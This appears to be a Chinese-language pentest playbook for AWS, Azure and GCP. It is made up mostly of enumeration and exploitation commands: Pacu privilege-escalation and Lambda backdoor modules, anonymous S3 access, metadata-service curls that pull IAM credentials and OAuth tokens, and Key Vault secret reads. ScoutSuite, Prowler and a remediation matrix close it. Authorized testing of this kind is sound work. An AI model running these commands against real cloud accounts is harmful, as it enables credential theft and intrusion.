| name | conducting-cloud-infrastructure-penetration-test |
| description | 针对 AWS、Azure 和 GCP 执行云基础设施渗透测试,使用 Pacu、ScoutSuite 和 Prowler 识别 IAM 错误配置、暴露的存储桶、不安全的无服务器函数和云原生攻击路径。 |
| domain | cybersecurity |
| subdomain | penetration-testing |
| tags | ["cloud-pentest","AWS","Azure","GCP","Pacu","ScoutSuite","Prowler","IAM","S3","cloud-security"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
执行云基础设施渗透测试
概述
云基础设施渗透测试通过针对 IAM 策略、存储配置、计算实例、无服务器函数、网络控制和 Kubernetes 集群,识别 AWS、Azure 和 GCP 环境中的安全弱点。云特有攻击向量包括过度特权的 IAM 角色、错误配置的存储桶、暴露的元数据服务、不安全的 API 端点以及通过云服务链的横向移动。
前置条件
- 书面授权和云提供商通知(AWS 渗透测试策略、Azure 规则、GCP 条款)
- 具有只读访问权限的云凭据(假设已入侵模型)或未经认证的外部测试
- 工具:Pacu(AWS)、ScoutSuite、Prowler、AzureHound、GCPBucketBrute、CloudMapper
- 了解每个提供商的共同责任模型
AWS 渗透测试
初始枚举
aws sts get-caller-identity
aws iam get-user
aws iam list-attached-user-policies --user-name testuser
aws iam list-user-policies --user-name testuser
aws iam list-users
aws iam list-roles
aws iam list-groups
aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,State.Name,PublicIpAddress,PrivateIpAddress]' --output table
aws s3 ls
aws s3 ls s3://target-bucket --recursive
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role]' --output table
aws rds describe-db-instances --query 'DBInstances[*].[DBInstanceIdentifier,Engine,PubliclyAccessible]' --output table
aws secretsmanager list-secrets
aws ssm describe-parameters
Pacu 漏洞利用框架
pip install pacu
pacu
Pacu> set_keys
Pacu> import_keys testuser
Pacu> run iam__enum_permissions
Pacu> run iam__enum_users_roles_policies_groups
Pacu> run ec2__enum
Pacu> run s3__enum
Pacu> run lambda__enum
Pacu> run iam__privesc_scan
Pacu> run s3__bucket_finder
Pacu> run ec2__metadata_services
Pacu> run lambda__backdoor_new_roles
S3 存储桶测试
aws s3 ls s3://target-corp-backup --no-sign-request
aws s3 cp s3://target-corp-backup/test.txt /tmp/ --no-sign-request
aws s3api get-bucket-policy --bucket target-corp-backup
aws s3api get-bucket-acl --bucket target-corp-backup
aws s3api put-object --bucket target-corp-backup --key pentest_proof.txt \
--body /tmp/proof.txt
EC2 实例元数据利用
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Role-Name
export AWS_ACCESS_KEY_ID=<来自元数据>
export AWS_SECRET_ACCESS_KEY=<来自元数据>
export AWS_SESSION_TOKEN=<来自元数据>
aws sts get-caller-identity
Azure 渗透测试
Azure 枚举
az login -u testuser@target.onmicrosoft.com -p 'Password123'
az account list --output table
az group list --output table
az vm list --output table
az storage account list --output table
az webapp list --output table
az keyvault list --output table
az ad user list --output table
azurehound list -u testuser@target.onmicrosoft.com -p 'Password123' -o azurehound.json
Azure 专项攻击
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
az storage account keys list --resource-group RG-Production --account-name targetstorageacct
az keyvault secret list --vault-name target-keyvault
az keyvault secret show --vault-name target-keyvault --name admin-password
python stormspotter.py --cli
GCP 渗透测试
GCP 枚举
gcloud auth login
gcloud projects list
gcloud compute instances list
gsutil ls
gsutil ls gs://target-bucket/
gcloud projects get-iam-policy PROJECT_ID
gcloud functions list
gcloud iam service-accounts list
gsutil ls -L gs://target-bucket/ | grep "Access control"
跨云安全评估
ScoutSuite 多云审计
scout suite aws --profile testuser
scout suite azure --cli
scout suite gcp --user-account
Prowler(AWS CIS 基准)
prowler aws --profile testuser
prowler aws -c check11 check12 check13
prowler aws -g s3
prowler aws -g forensics-ready
prowler aws -M json-ocsf -o ./prowler_results/
发现矩阵
| 发现 | 云平台 | 严重性 | 修复措施 |
|---|
| 包含 PII 的公开 S3 存储桶 | AWS | 严重 | 启用存储桶策略拒绝公开访问 |
| Lambda 上的过度特权 IAM 角色 | AWS | 高 | 实施最小权限 IAM 策略 |
| EC2 上启用 IMDSv1 | AWS | 高 | 强制所有实例使用 IMDSv2 |
| 具有公开 Blob 访问的存储账户 | Azure | 严重 | 禁用匿名 Blob 访问 |
| 所有用户可访问的 Key Vault | Azure | 高 | 限制 Key Vault 访问策略 |
| 具有 allUsers 读取权限的 GCS 存储桶 | GCP | 严重 | 删除 allUsers 权限 |
| 仓库中暴露的服务账户密钥 | GCP | 严重 | 轮换密钥,启用工作负载身份 |
参考资料